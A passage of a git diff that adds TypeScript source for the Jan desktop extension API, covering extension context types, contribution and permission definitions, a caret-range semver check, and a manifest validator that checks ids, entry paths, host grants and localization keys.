run as built-in or dev; may change in any minor.+ */+export interface ProposedApi {+ readonly chat?: {+ /** Lets the extension rewrite outgoing text. Needs `chat:hooks`. */+ onWillSend(+ handler: (e: WillSendEvent) => Promise<{ text: string } | undefined>+ ): Disposable+ }+}++/** What `activate` receives. */+export interface ExtensionContext {+ readonly extension: { id: string; version: string; displayName: string }+ /** Disposed by the host on deactivation; add every registration here. */+ readonly subscriptions: DisposableStore+ readonly log: Logger+ readonly settings: SettingsApi+ readonly storage: StorageApi+ readonly commands: CommandsApi+ readonly ui: UiApi+ readonly conversations: ConversationsApi+ readonly tools: ToolsApi+ readonly providers: ProvidersApi+ readonly http: HttpApi+ readonly proposed: ProposedApi+}++/** The shape of an extension's entry module. */+export interface ExtensionModule {+ activate(ctx: ExtensionContext): void | Promise<void>+ deactivate?(): void | Promise<void>+}diff --git a/packages/extension-api/src/contributions.ts b/packages/extension-api/src/contributions.tsnew file mode 100644index 000000000..09b77b5d8--- /dev/null+++ b/packages/extension-api/src/contributions.ts@@ -0,0 +1,123 @@+import type { ModelCapability } from './capabilities.js'++/** A JSON value as it survives `JSON.stringify` and structured clone alike. */+export type JsonValue =+ | string+ | number+ | boolean+ | null+ | JsonValue[]+ | JsonObject+export interface JsonObject {+ [key: string]: JsonValue+}++/** A JSON Schema whose root describes an object, as tool inputs must. */+export interface JsonSchemaObject {+ type: 'object'+ properties?: Record<string, JsonObject>+ required?: string[]+ [keyword: string]: JsonValue | undefined+}++/** Places in the host UI where contributed commands can appear. */+export type MenuLocation =+ | 'commandPalette'+ | 'thread/context'+ | 'message/actions'+ | 'chatInput/actions'++/** The closed set of visibility conditions for menu items. */+export type WhenClause =+ | 'always'+ | 'message.role == assistant'+ | 'message.role == user'+ | 'thread.hasMessages'++/**+ * Text fields accept a literal or `%key%`, which the host resolves through+ * the manifest `l10n` table.+ */+export interface CommandContribution {+ id: string+ title: string+ category?: string+ /** A Tabler icon name in kebab case, for example `hand-stop`. */+ icon?: string+}++export interface MenuItemContribution {+ /** The id of a command declared in the same manifest. */+ command: string+ when?: WhenClause+ group?: string+ order?: number+}++export interface StatusItemContribution {+ id: string+ text: string+ tooltip?: string+ /** The id of a command declared in the same manifest, run on click. */+ command?: string+ priority?: number+}++export type SettingControl =+ | {+ type: 'input'+ inputType?: 'text' | 'url' | 'number'+ placeholder?: string+ default: string+ }+ | { type: 'checkbox'; default: boolean }+ | {+ type: 'dropdown'+ options: { value: string; label: string }[]+ default: string+ }+ | { type: 'slider'; min: number; max: number; step: number; default: number }+ | { type: 'textarea'; rows?: number; default: string }++/** A setting value; its type follows the control's `default`. */+export type SettingValue = SettingControl['default']++export interface SettingContribution {+ key: string+ title: string+ description?: string+ /** Stored in the OS keyring instead of the settings file. */+ secret?: boolean+ control: SettingControl+}++/** Declared statically so the consent screen can list tools before install. */+export interface ToolContribution {+ name: string+ description: string+ inputSchema: JsonSchemaObject+}++export interface ProviderContribution {+ id: string+ displayName: string+ /** An OpenAI-compatible base URL; its host needs a `network:` permission. */+ baseUrl: string+ /** The key of a secret setting holding the API key. */+ apiKeySetting?: string+ /**+ * What every model of this provider can do, unless its `listModels` entry+ * says otherwise. Defaults to `['completion']`; declare `tools` for chat+ * to offer tool calls.+ */+ capabilities?: ModelCapability[]+}++export interface Contributions {+ settings?: SettingContribution[]+ commands?: CommandContribution[]+ menus?: Partial<Record<MenuLocation, MenuItemContribution[]>>+ statusItems?: StatusItemContribution[]+ tools?: ToolContribution[]+ providers?: ProviderContribution[]+}diff --git a/packages/extension-api/src/disposable.ts b/packages/extension-api/src/disposable.tsnew file mode 100644index 000000000..d88fbfd61--- /dev/null+++ b/packages/extension-api/src/disposable.ts@@ -0,0 +1,62 @@+/** Something that holds a resource or a registration until it is disposed. */+export interface Disposable {+ dispose(): void+}++/** Wraps a cleanup function; the function runs at most once. */+export function toDisposable(fn: () => void): Disposable {+ let disposed = false+ return {+ dispose() {+ if (disposed) return+ disposed = true+ fn()+ },+ }+}++/**+ * A set of disposables released together. Members are disposed in reverse+ * order of addition, so a registration made on top of an earlier one is torn+ * down first.+ *+ * The state lives in private fields, which stay writable when the store is+ * frozen: an extension worker hardens its `ctx`, `subscriptions` included.+ */+export class DisposableStore implements Disposable {+ #items: Disposable[] = []+ #disposed = false++ /**+ * Adds a member. Adding to a disposed store disposes the member at once, so+ * a registration that races with teardown cannot leak.+ */+ add<T extends Disposable>(d: T): T {+ if (this.#disposed) {+ d.dispose()+ } else {+ this.#items.push(d)+ }+ return d+ }++ /**+ * Disposes every member once. A throwing member does not stop the rest;+ * the first error is rethrown after all members ran.+ */+ dispose(): void {+ if (this.#disposed) return+ this.#disposed = true+ const items = this.#items.reverse()+ this.#items = []+ let failure: { error: unknown } | undefined+ for (const item of items) {+ try {+ item.dispose()+ } catch (error) {+ failure ??= { error }+ }+ }+ if (failure) throw failure.error+ }+}diff --git a/packages/extension-api/src/errors.ts b/packages/extension-api/src/errors.tsnew file mode 100644index 000000000..3c4862630--- /dev/null+++ b/packages/extension-api/src/errors.ts@@ -0,0 +1,24 @@+/**+ * Why a host call failed. The same codes travel over the worker RPC, so+ * extensions can branch on `code` wherever their code runs.+ */+export type ExtensionErrorCode =+ | 'E_PERMISSION'+ | 'E_INVALID_ARGS'+ | 'E_NOT_FOUND'+ | 'E_TIMEOUT'+ | 'E_CANCELLED'+ | 'E_DISPOSED'+ | 'E_TOO_LARGE'+ | 'E_INTERNAL'++/** An error raised by the host for a call through `ExtensionContext`. */+export class ExtensionError extends Error {+ readonly code: ExtensionErrorCode++ constructor(code: ExtensionErrorCode, message: string) {+ super(message)+ this.name = 'ExtensionError'+ this.code = code+ }+}diff --git a/packages/extension-api/src/event.ts b/packages/extension-api/src/event.tsnew file mode 100644index 000000000..c08cedf7e--- /dev/null+++ b/packages/extension-api/src/event.ts@@ -0,0 +1,35 @@+import type { Disposable } from './disposable.js'++/** Subscribes a listener; dispose the result to unsubscribe. */+export type Event<T> = (listener: (e: T) => void) => Disposable++/** The producing side of an `Event`. */+export class Emitter<T> {+ // Wrapped in objects so one function subscribed twice is two subscriptions.+ private listeners = new Set<{ fn: (e: T) => void }>()++ readonly event: Event<T> = (fn) => {+ const entry = { fn }+ this.listeners.add(entry)+ return { dispose: () => void this.listeners.delete(entry) }+ }++ /**+ * Delivers `e` to every current listener. A throwing listener is reported+ * and skipped, so one subscriber cannot starve the others.+ */+ fire(e: T): void {+ for (const { fn } of [...this.listeners]) {+ try {+ fn(e)+ } catch (error) {+ console.error('Event listener failed:', error)+ }+ }+ }++ /** Drops every listener. */+ dispose(): void {+ this.listeners.clear()+ }+}diff --git a/packages/extension-api/src/index.ts b/packages/extension-api/src/index.tsnew file mode 100644index 000000000..96ed28948--- /dev/null+++ b/packages/extension-api/src/index.ts@@ -0,0 +1,39 @@+/**+ * The stable API for Jan desktop extensions. `./manifest` re-exports the+ * manifest types and validator for tooling that only lints package.json.+ */+export { API_VERSION } from './api-version.js'+export {+ DEFAULT_MODEL_CAPABILITIES,+ isModelCapability,+ MODEL_CAPABILITIES,+ type ModelCapability,+} from './capabilities.js'+export { DisposableStore, toDisposable, type Disposable } from './disposable.js'+export { Emitter, type Event } from './event.js'+export { ExtensionError, type ExtensionErrorCode } from './errors.js'+export {+ isLocalHost,+ isNetworkHost,+ isPermissionString,+ networkHostMatches,+ networkHostOf,+ type PermissionKind,+ type PermissionString,+} from './permissions.js'+export { isApiCompatible } from './semver.js'+export {+ isContributionId,+ RESERVED_PUBLISHER,+ validateManifest,+} from './validate.js'+export type * from './context.js'+export type * from './contributions.js'+export type {+ JanManifest,+ ManifestError,+ ProposalName,+ ValidatedManifest,+ ValidateOptions,+ ValidationResult,+} from './manifest.js'diff --git a/packages/extension-api/src/manifest.ts b/packages/extension-api/src/manifest.tsnew file mode 100644index 000000000..3d99660bc--- /dev/null+++ b/packages/extension-api/src/manifest.ts@@ -0,0 +1,56 @@+import type { Contributions } from './contributions.js'+import type { PermissionString } from './permissions.js'++export { RESERVED_PUBLISHER, validateManifest } from './validate.js'+export { isApiCompatible } from './semver.js'+export { API_VERSION } from './api-version.js'+export type * from './contributions.js'+export type { PermissionString, PermissionKind } from './permissions.js'++/** Proposed API groups an extension can opt into (built-in and dev only). */+export type ProposalName = 'chat'++/** The `jan` field of an extension's package.json. */+export interface JanManifest {+ /** `<publisher>.<name>`, lowercase, for example `acme.hello-provider`. */+ id: string+ /** A literal or `%key%` into `l10n`. */+ displayName: string+ description?: string+ publisher: string+ /** A caret range on this package's version, for example `^1.0.0`. */+ apiVersion: string+ /** Relative path to the worker bundle (IIFE assigning `JanExtension`). */+ main: string+ permissions: PermissionString[]+ proposals?: ProposalName[]+ contributes?: Contributions+ /** locale -> key -> text. `en` must hold every `%key%` used. */+ l10n?: Record<string, Record<string, string>>+}++/** A manifest that passed `validateManifest`, with its package identity. */+export interface ValidatedManifest extends JanManifest {+ name: string+ version: string+ /** `engines.jan` of the package: the app versions it supports. */+ engines?: { jan: string }+}++export interface ManifestError {+ /** Where the problem is, for example `jan.contributes.commands[1].id`. */+ path: string+ message: string+}++export interface ValidateOptions {+ /**+ * Accepts ids under the reserved `jan` publisher. Only the host sets it,+ * for the built-ins it ships; installable extensions never may.+ */+ builtin?: boolean+}++export type ValidationResult =+ | { ok: true; manifest: ValidatedManifest }+ | { ok: false; errors: ManifestError[] }diff --git a/packages/extension-api/src/permissions.ts b/packages/extension-api/src/permissions.tsnew file mode 100644index 000000000..00c2b85c7--- /dev/null+++ b/packages/extension-api/src/permissions.ts@@ -0,0 +1,78 @@+/**+ * What an extension may ask for in `jan.permissions`. Everything not listed+ * here (own settings, own contributions, logging, own storage) is implicit.+ */+export type PermissionString =+ | 'ui:notify'+ | 'providers'+ | 'tools'+ | 'conversations:read'+ | 'conversations:write'+ | 'chat:hooks'+ | `network:${string}`++/** A permission with any `network:<host>` collapsed to `network`. */+export type PermissionKind =+ | Exclude<PermissionString, `network:${string}`>+ | 'network'++const FIXED_PERMISSIONS: ReadonlySet<string> = new Set<+ Exclude<PermissionKind, 'network'>+>([+ 'ui:notify',+ 'providers',+ 'tools',+ 'conversations:read',+ 'conversations:write',+ 'chat:hooks',+])++const LABEL = '[a-z0-9]([a-z0-9-]*[a-z0-9])?'+// Lowercase host names only: grants are compared as strings, and URL parsing+// lowercases hosts, so an uppercase grant could never match.+const HOST = new RegExp(`^(\\*|(\\*\\.)?${LABEL}(\\.${LABEL})*)$`)++const NETWORK_PREFIX = 'network:'++/**+ * True for a host grant usable after `network:`: `*`, an exact host+ * (`api.example.com`, `127.0.0.1`, `localhost`) or a subdomain wildcard+ * (`*.example.com`). No scheme, port or path: the scheme rule is fixed+ * (https, or http for local hosts) and ports are not a trust boundary.+ */+export function isNetworkHost(host: string): boolean {+ return HOST.test(host)+}++/** Narrows a manifest entry to a well-formed `PermissionString`. */+export function isPermissionString(value: string): value is PermissionString {+ if (value.startsWith(NETWORK_PREFIX))+ return isNetworkHost(value.slice(NETWORK_PREFIX.length))+ return FIXED_PERMISSIONS.has(value)+}++/** The host part of a `network:<host>` permission, or undefined for any other. */+export function networkHostOf(+ permission: PermissionString+): string | undefined {+ return permission.startsWith(NETWORK_PREFIX)+ ? permission.slice(NETWORK_PREFIX.length)+ : undefined+}++/**+ * Whether the host grant `grant` (as returned by `networkHostOf`) covers the+ * URL host `host`. `*.example.com` covers subdomains only, not the apex, so+ * granting an API subdomain never silently grants the main site.+ */+export function networkHostMatches(grant: string, host: string): boolean {+ if (grant === '*') return true+ if (grant.startsWith('*.'))+ return host.endsWith(grant.slice(1)) && host.length > grant.length - 1+ return grant === host+}++/** Hosts reachable over plain http; everything else must use https. */+export function isLocalHost(host: string): boolean {+ return host === 'localhost' || host === '127.0.0.1'+}diff --git a/packages/extension-api/src/semver.ts b/packages/extension-api/src/semver.tsnew file mode 100644index 000000000..8f5f388fc--- /dev/null+++ b/packages/extension-api/src/semver.ts@@ -0,0 +1,43 @@+const VERSION = /^(\d+)\.(\d+)\.(\d+)$/+const CARET = /^\^(\d+)\.(\d+)\.(\d+)$/+const SEMVER =+ /^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(-[0-9A-Za-z-]+(\.[0-9A-Za-z-]+)*)?(\+[0-9A-Za-z-]+(\.[0-9A-Za-z-]+)*)?$/++type Triple = [number, number, number]++const triple = (m: RegExpExecArray): Triple => [+ Number(m[1]),+ Number(m[2]),+ Number(m[3]),+]++const compare = (a: Triple, b: Triple): number =>+ a[0] - b[0] || a[1] - b[1] || a[2] - b[2]++/** True for a full semver 2.0.0 version, prerelease and build parts included. */+export function isSemver(version: string): boolean {+ return SEMVER.test(version)+}++/** True for the only range form manifests may use: `^MAJOR.MINOR.PATCH`. */+export function isCaretRange(range: string): boolean {+ return CARET.test(range)+}++/**+ * Whether a host API `host` (plain `MAJOR.MINOR.PATCH`) satisfies the caret+ * range `range`, with npm's caret semantics: the left-most non-zero part is+ * locked, so before 1.0 every minor is a breaking change. Hand-rolled so the+ * package needs no dependency; anything but a caret range is incompatible.+ */+export function isApiCompatible(range: string, host: string): boolean {+ const r = CARET.exec(range)+ const h = VERSION.exec(host)+ if (!r || !h) return false+ const floor = triple(r)+ const version = triple(h)+ if (compare(version, floor) < 0) return false+ if (floor[0] > 0) return version[0] === floor[0]+ if (floor[1] > 0) return version[0] === 0 && version[1] === floor[1]+ return compare(version, floor) === 0+}diff --git a/packages/extension-api/src/validate.ts b/packages/extension-api/src/validate.tsnew file mode 100644index 000000000..aa6459d7b--- /dev/null+++ b/packages/extension-api/src/validate.ts@@ -0,0 +1,600 @@+import { isModelCapability, MODEL_CAPABILITIES } from './capabilities.js'+import type {+ Contributions,+ MenuLocation,+ SettingContribution,+ WhenClause,+} from './contributions.js'+import type {+ ManifestError,+ ProposalName,+ ValidatedManifest,+ ValidateOptions,+ ValidationResult,+} from './manifest.js'+import {+ isLocalHost,+ isPermissionString,+ networkHostMatches,+ networkHostOf,+ type PermissionString,+} from './permissions.js'+import { isCaretRange, isSemver } from './semver.js'++type Obj = Record<string, unknown>++const ID = /^[a-z0-9][a-z0-9-]{1,38}\.[a-z0-9][a-z0-9-]{1,38}$/++/**+ * The publisher part of every built-in extension id (`jan.<name>`). The host+ * refuses to run a third-party extension under it, so `validateManifest`+ * refuses it too, before anyone is asked to consent to an install.+ */+export const RESERVED_PUBLISHER = 'jan'+const L10N_REF = /^%([A-Za-z0-9_.-]+)%$/+const IDENTIFIER = /^[A-Za-z_$][A-Za-z0-9_$]*$/+const CONTRIBUTION_ID = /^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$/++/**+ * The grammar of a command, status item or provider id and of a tool name:+ * up to 64 letters, digits, `.`, `_` and `-`, starting with a letter or+ * digit. Hosts look contributions up by these ids, so none of them can be+ * `__proto__`; names such as `constructor` stay valid and hosts must look+ * them up as own properties.+ */+export function isContributionId(value: unknown): value is string {+ return typeof value === 'string' && CONTRIBUTION_ID.test(value)+}++const MANIFEST_KEYS = [+ 'id',+ 'displayName',+ 'description',+ 'publisher',+ 'apiVersion',+ 'main',+ 'permissions',+ 'proposals',+ 'contributes',+ 'l10n',+]+const CONTRIBUTION_KEYS = [+ 'settings',+ 'commands',+ 'menus',+ 'statusItems',+ 'tools',+ 'providers',+]+const MENU_LOCATIONS: readonly MenuLocation[] = [+ 'commandPalette',+ 'thread/context',+ 'message/actions',+ 'chatInput/actions',+]+const WHEN_CLAUSES: readonly WhenClause[] = [+ 'always',+ 'message.role == assistant',+ 'message.role == user',+ 'thread.hasMessages',+]+const PROPOSALS: readonly ProposalName[] = ['chat']+const INPUT_TYPES = ['text', 'url', 'number']++const isObj = (v: unknown): v is Obj =>+ typeof v === 'object' && v !== null && !Array.isArray(v)+const isNonEmptyString = (v: unknown): v is string =>+ typeof v === 'string' && v.trim().length > 0+const key = (base: string, k: string) => {+ if (!IDENTIFIER.test(k)) return `${base}['${k}']`+ return base ? `${base}.${k}` : k+}++/**+ * Collects every problem rather than stopping at the first one, so an author+ * fixes a manifest in one pass. Field checks run in manifest order, which+ * keeps the error list stable for tests and for the install UI.+ */+class Checker {+ readonly errors: ManifestError[] = []++ fail(path: string, message: string): false {+ this.errors.push({ path, message })+ return false+ }++ string(+ obj: Obj,+ field: string,+ path: string,+ opts: { optional?: boolean } = {}+ ): boolean {+ const value = obj[field]+ if (value === undefined && opts.optional) return true+ return (+ isNonEmptyString(value) ||+ this.fail(key(path, field), 'must be a non-empty string')+ )+ }++ number(+ obj: Obj,+ field: string,+ path: string,+ opts: { optional?: boolean } = {}+ ): boolean {+ const value = obj[field]+ if (value === undefined && opts.optional) return true+ return (+ (typeof value === 'number' && Number.isFinite(value)) ||+ this.fail(key(path, field), 'must be a number')+ )+ }++ known(obj: Obj, allowed: readonly string[], path: string): void {+ for (const k of Object.keys(obj)) {+ if (!allowed.includes(k)) this.fail(key(path, k), 'is not a known field')+ }+ }++ /** Runs `each` on every object element of `obj[field]`, if it is an array. */+ list(+ obj: Obj,+ field: string,+ path: string,+ each: (item: Obj, itemPath: string) => void+ ): void {+ const value = obj[field]+ if (value === undefined) return+ const listPath = key(path, field)+ if (!Array.isArray(value)) {+ this.fail(listPath, 'must be an array')+ return+ }+ value.forEach((item, i) => {+ const itemPath = `${listPath}[${i}]`+ if (isObj(item)) each(item, itemPath)+ else this.fail(itemPath, 'must be an object')+ })+ }++ /** A contribution id, see `isContributionId`. */+ contributionId(obj: Obj, field: string, path: string): boolean {+ if (!this.string(obj, field, path)) return false+ return (+ isContributionId(obj[field]) ||+ this.fail(+ key(path, field),+ 'must be 1-64 letters, digits, dots, underscores or dashes, starting with a letter or digit'+ )+ )+ }++ /** Records a duplicate of `obj[field]` within one list. */+ unique(seen: Set<string>, obj: Obj, field: string, path: string): void {+ const value = obj[field]+ if (typeof value !== 'string') return+ if (seen.has(value)) this.fail(key(path, field), `duplicates '${value}'`)+ seen.add(value)+ }+}++function checkMain(c: Checker, main: unknown): void {+ const path = 'jan.main'+ if (!isNonEmptyString(main)) {+ c.fail(path, 'must be a non-empty string')+ return+ }+ const relative = main.startsWith('./') ? main.slice(2) : main+ const segments = relative.split('/')+ // Rejects absolute paths, drive letters, backslashes and any `.`/`..`+ // segment, so the entry always resolves inside the package directory.+ const escapes =+ main.includes('\\') ||+ main.includes(':') ||+ segments.some((s) => s === '' || s === '.' || s === '..')+ if (escapes) c.fail(path, 'must be a relative path inside the package')+ else if (!relative.endsWith('.js')) c.fail(path, 'must point at a .js file')+}++function checkPermissions(c: Checker, value: unknown): PermissionString[] {+ if (!Array.isArray(value)) {+ c.fail('jan.permissions', 'must be an array')+ return []+ }+ const valid: PermissionString[] = []+ value.forEach((p, i) => {+ const path = `jan.permissions[${i}]`+ if (typeof p !== 'string' || !isPermissionString(p))+ c.fail(path, 'is not a known permission')+ else if (valid.includes(p)) c.fail(path, `duplicates '${p}'`)+ else valid.push(p)+ })+ return valid+}++function checkProposals(c: Checker, value: unknown): void {+ if (value === undefined) return+ if (!Array.isArray(value)) {+ c.fail('jan.proposals', 'must be an array')+ return+ }+ value.forEach((p, i) => {+ if (!PROPOSALS.includes(p as ProposalName))+ c.fail(`jan.proposals[${i}]`, 'is not a known proposal')+ })+}++function checkControl(c: Checker, control: unknown, path: string): void {+ if (!isObj(control)) {+ c.fail(path, 'must be an object')+ return+ }+ const def = control.default+ const defPath = `${path}.default`+ switch (control.type) {+ case 'input':+ c.known(control, ['type', 'inputType', 'placeholder', 'default'], path)+ if (+ control.inputType !== undefined &&+ !INPUT_TYPES.includes(control.inputType as string)+ )+ c.fail(`${path}.inputType`, `must be one of ${INPUT_TYPES.join(', ')}`)+ c.string(control, 'placeholder', path, { optional: true })+ if (typeof def !== 'string') c.fail(defPath, 'must be a string')+ return+ case 'textarea':+ c.known(control, ['type', 'rows', 'default'], path)+ c.number(control, 'rows', path, { optional: true })+ if (typeof def !== 'string') c.fail(defPath, 'must be a string')+ return+ case 'checkbox':+ c.known(control, ['type', 'default'], path)+ if (typeof def !== 'boolean') c.fail(defPath, 'must be a boolean')+ return+ case 'dropdown': {+ c.known(control, ['type', 'options', 'default'], path)+ const values: string[] = []+ c.list(control, 'options', path, (option, optionPath) => {+ c.known(option, ['value', 'label'], optionPath)+ if (c.string(option, 'value', optionPath))+ values.push(option.value as string)+ c.string(option, 'label', optionPath)+ })+ if (!Array.isArray(control.options) || control.options.length === 0)+ c.fail(`${path}.options`, 'must list at least one option')+ else if (typeof def !== 'string' || !values.includes(def))+ c.fail(defPath, 'must be one of the option values')+ return+ }+ case 'slider': {+ c.known(control, ['type', 'min', 'max', 'step', 'default'], path)+ const ok = [+ c.number(control, 'min', path),+ c.number(control, 'max', path),+ c.number(control, 'step', path),+ c.number(control, 'default', path),+ ].every(Boolean)+ if (!ok) return+ const { min, max, step } = control as {+ min: number+ max: number+ step: number+ }+ if (min > max || step <= 0)+ c.fail(path, 'needs min <= max and a positive step')+ else if ((def as number) < min || (def as number) > max)+ c.fail(defPath, 'must lie within min and max')+ return+ }+ default:+ c.fail(+ `${path}.type`,+ 'must be input, textarea, checkbox, dropdown or slider'+ )+ }+}++function checkProviderUrl(+ c: Checker,+ value: unknown,+ path: string,+ permissions: PermissionString[]+): void {+ let url: URL+ try {+ url = new URL(value as string)+ } catch {+ c.fail(path, 'must be an absolute URL')+ return+ }+ const host = url.hostname+ if (+ url.protocol !== 'https:' &&+ !(url.protocol === 'http:' && isLocalHost(host))+ ) {+ c.fail(+ path,+ 'must use https (http is allowed only for localhost and 127.0.0.1)'+ )+ return+ }+ const granted = permissions.some((p) => {+ const grant = networkHostOf(p)+ return grant !== undefined && networkHostMatches(grant, host)+ })+ if (!granted) c.fail(path, `needs the permission network:${host}`)+}++function checkContributions(+ c: Checker,+ contributes: unknown,+ permissions: PermissionString[]+): void {+ const path = 'jan.contributes'+ if (contributes === undefined) return+ if (!isObj(contributes)) {+ c.fail(path, 'must be an object')+ return+ }+ c.known(contributes, CONTRIBUTION_KEYS, path)++ const settings = new Map<string, SettingContribution>()+ const settingKeys = new Set<string>()+ c.list(contributes, 'settings', path, (s, p) => {+ c.known(s, ['key', 'title', 'description', 'secret', 'control'], p)+ c.string(s, 'key', p)+ c.unique(settingKeys, s, 'key', p)+ c.string(s, 'title', p)+ c.string(s, 'description', p, { optional: true })+ if (s.secret !== undefined && typeof s.secret !== 'boolean')+ c.fail(`${p}.secret`, 'must be a boolean')+ // The OS keyring holds strings only.+ else if (+ s.secret &&+ isObj(s.control) &&+ s.control.type !== 'input' &&+ s.control.type !== 'textarea'+ )+ c.fail(`${p}.secret`, 'is only allowed on input and textarea controls')+ checkControl(c, s.control, `${p}.control`)+ if (typeof s.key === 'string' && !settings.has(s.key))+ settings.set(s.key, s as unknown as SettingContribution)+ })++ const commands = new Set<string>()+ c.list(contributes, 'commands', path, (cmd, p) => {+ c.known(cmd, ['id', 'title', 'category', 'icon'], p)+ c.contributionId(cmd, 'id', p)+ c.unique(commands, cmd, 'id', p)+ c.string(cmd, 'title', p)+ c.string(cmd, 'category', p, { optional: true })+ c.string(cmd, 'icon', p, { optional: true })+ })+ const commandRef = (obj: Obj, p: string) => {+ if (obj.command !== undefined && !commands.has(obj.command as string))+ c.fail(+ `${p}.command`,+ 'must name a command declared in contributes.commands'+ )+ }++ const menus = contributes.menus+ if (menus !== undefined && !isObj(menus))+ c.fail(`${path}.menus`, 'must be an object')+ else if (menus !== undefined) {+ const menusPath = `${path}.menus`+ for (const location of Object.keys(menus)) {+ if (!MENU_LOCATIONS.includes(location as MenuLocation)) {+ c.fail(key(menusPath, location), 'is not a known menu location')+ continue+ }+ c.list(menus, location, menusPath, (item, p) => {+ c.known(item, ['command', 'when', 'group', 'order'], p)+ if (c.string(item, 'command', p)) commandRef(item, p)+ if (+ item.when !== undefined &&+ !WHEN_CLAUSES.includes(item.when as WhenClause)+ )+ c.fail(`${p}.when`, 'is not a known when clause')+ c.string(item, 'group', p, { optional: true })+ c.number(item, 'order', p, { optional: true })+ })+ }+ }++ const statusIds = new Set<string>()+ c.list(contributes, 'statusItems', path, (item, p) => {+ c.known(item, ['id', 'text', 'tooltip', 'command', 'priority'], p)+ c.contributionId(item, 'id', p)+ c.unique(statusIds, item, 'id', p)+ c.string(item, 'text', p)+ c.string(item, 'tooltip', p, { optional: true })+ if (item.command !== undefined && c.string(item, 'command', p))+ commandRef(item, p)+ c.number(item, 'priority', p, { optional: true })+ })++ if (contributes.tools !== undefined && !permissions.includes('tools'))+ c.fail(`${path}.tools`, "needs the permission 'tools'")+ const toolNames = new Set<string>()+ c.list(contributes, 'tools', path, (tool, p) => {+ c.known(tool, ['name', 'description', 'inputSchema'], p)+ c.contributionId(tool, 'name', p)+ c.unique(toolNames, tool, 'name', p)+ c.string(tool, 'description', p)+ if (!isObj(tool.inputSchema) || tool.inputSchema.type !== 'object')+ c.fail(`${p}.inputSchema`, "must be a JSON Schema with type 'object'")+ })++ if (contributes.providers !== undefined && !permissions.includes('providers'))+ c.fail(`${path}.providers`, "needs the permission 'providers'")+ const providerIds = new Set<string>()+ c.list(contributes, 'providers', path, (provider, p) => {+ c.known(+ provider,+ ['id', 'displayName', 'baseUrl', 'apiKeySetting', 'capabilities'],+ p+ )+ c.contributionId(provider, 'id', p)+ c.unique(providerIds, provider, 'id', p)+ c.string(provider, 'displayName', p)+ if (c.string(provider, 'baseUrl', p))+ checkProviderUrl(c, provider.baseUrl, `${p}.baseUrl`, permissions)+ if (+ provider.apiKeySetting !== undefined &&+ c.string(provider, 'apiKeySetting', p)+ ) {+ const setting = settings.get(provider.apiKeySetting as string)+ if (!setting?.secret)+ c.fail(+ `${p}.apiKeySetting`,+ 'must name a secret setting declared in contributes.settings'+ )+ }+ if (provider.capabilities !== undefined)+ checkCapabilities(c, provider.capabilities, `${p}.capabilities`)+ })+}++function checkCapabilities(c: Checker, value: unknown, path: string): void {+ if (!Array.isArray(value) || value.length === 0) {+ c.fail(path, 'must be a non-empty array')+ return+ }+ const seen = new Set<unknown>()+ value.forEach((capability, i) => {+ if (!isModelCapability(capability))+ c.fail(+ `${path}[${i}]`,+ `must be one of ${MODEL_CAPABILITIES.join(', ')}`+ )+ else if (seen.has(capability))+ c.fail(`${path}[${i}]`, `duplicates '${capability}'`)+ seen.add(capability)+ })+}++/** Paths of every user-visible string that may be a `%key%` reference. */+function* localizableStrings(jan: Obj): Generator<[string, unknown]> {+ yield ['jan.displayName', jan.displayName]+ yield ['jan.description', jan.description]+ const contributes = isObj(jan.contributes)+ ? (jan.contributes as Contributions)+ : {}+ const base = 'jan.contributes'+ for (const [i, s] of (contributes.settings ?? []).entries()) {+ const path = `${base}.settings[${i}]`+ yield [`${path}.title`, s?.title]+ yield [`${path}.description`, s?.description]+ const control = s?.control+ if (control?.type === 'input')+ yield [`${path}.control.placeholder`, control.placeholder]+ if (control?.type === 'dropdown' && Array.isArray(control.options))+ for (const [j, option] of control.options.entries())+ yield [`${path}.control.options[${j}].label`, option?.label]+ }+ for (const [i, cmd] of (contributes.commands ?? []).entries()) {+ yield [`${base}.commands[${i}].title`, cmd?.title]+ yield [`${base}.commands[${i}].category`, cmd?.category]+ }+ for (const [i, item] of (contributes.statusItems ?? []).entries()) {+ yield [`${base}.statusItems[${i}].text`, item?.text]+ yield [`${base}.statusItems[${i}].tooltip`, item?.tooltip]+ }+ for (const [i, provider] of (contributes.providers ?? []).entries()) {+ yield [`${base}.providers[${i}].displayName`, provider?.displayName]+ }+}++function checkL10n(c: Checker, jan: Obj): void {+ const l10n = jan.l10n+ if (l10n !== undefined) {+ const valid =+ isObj(l10n) &&+ Object.values(l10n).every(+ (table) =>+ isObj(table) &&+ Object.values(table).every((v) => typeof v === 'string')+ )+ if (!valid) {+ c.fail('jan.l10n', 'must map locales to tables of strings')+ return+ }+ }+ const en = isObj(l10n) && isObj(l10n.en) ? l10n.en : {}+ // Lists are only walked when well-formed, so malformed entries reported+ // above do not also produce l10n noise.+ for (const [path, value] of localizableStrings(jan)) {+ const ref = typeof value === 'string' ? L10N_REF.exec(value) : null+ // Own keys only: `in` would resolve %constructor% and friends through+ // Object.prototype, which the host's lookup does not.+ if (ref && !Object.hasOwn(en, ref[1]))+ c.fail(path, `references '${ref[1]}', which l10n.en does not define`)+ }+}++/**+ * Validates a whole package.json and returns its `jan` manifest together+ * with the package name, version and `engines.jan`. The same rules run in the+ * host at install and load time, so authors can lint with this function.+ *+ * Ids under {@link RESERVED_PUBLISHER} are refused unless `options.builtin`+ * is set, which only the host does for the built-ins it ships.+ */+export function validateManifest(+ pkg: unknown,+ options: ValidateOptions = {}+): ValidationResult {+ const c = new Checker()+ if (!isObj(pkg)) {+ c.fail('', 'package.json must be an object')+ return { ok: false, errors: c.errors }+ }+ c.string(pkg, 'name', '')+ if (typeof pkg.version !== 'string' || !isSemver(pkg.version))+ c.fail('version', 'must be a semver version')+ const engines = pkg.engines+ const janEngine = isObj(engines) ? engines.jan : undefined+ if (janEngine !== undefined && !isNonEmptyString(janEngine))+ c.fail('engines.jan', 'must be a version range')++ const jan = pkg.jan+ if (!isObj(jan)) {+ c.fail('jan', 'must be an object')+ return { ok: false, errors: c.errors }+ }+ c.known(jan, MANIFEST_KEYS, 'jan')+ if (typeof jan.id !== 'string' || !ID.test(jan.id))+ c.fail(+ 'jan.id',+ "must be '<publisher>.<name>' in lowercase letters, digits and dashes"+ )+ else if (+ !options.builtin &&+ jan.id.slice(0, jan.id.indexOf('.')) === RESERVED_PUBLISHER+ )+ c.fail(+ 'jan.id',+ `uses the publisher '${RESERVED_PUBLISHER}', which is reserved for Jan's built-in extensions`+ )+ c.string(jan, 'displayName', 'jan')+ c.string(jan, 'description', 'jan', { optional: true })+ 